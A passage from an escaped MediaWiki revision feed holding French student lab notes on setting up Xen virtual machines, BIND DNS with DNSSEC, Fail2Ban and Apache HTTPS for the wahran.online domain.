&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12091</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12091"/>
		<updated>2026-02-07T16:14:49Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.0.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.0.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.0.1&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
#iface eth0 inet dhcp&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.162/28&lt;br /&gt;
    gateway 193.48.57.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir fait un ifdown et un ifup nous pouvons envoyer des pings entre nos VM de service et avec la VM mandataire:&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Gyro (192.168.0.3):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping gyro.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Pegase (192.168.0.1):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping pegase.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search wahran.online&lt;br /&gt;
nameserver 192.168.0.2&lt;br /&gt;
nameserver 192.168.0.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
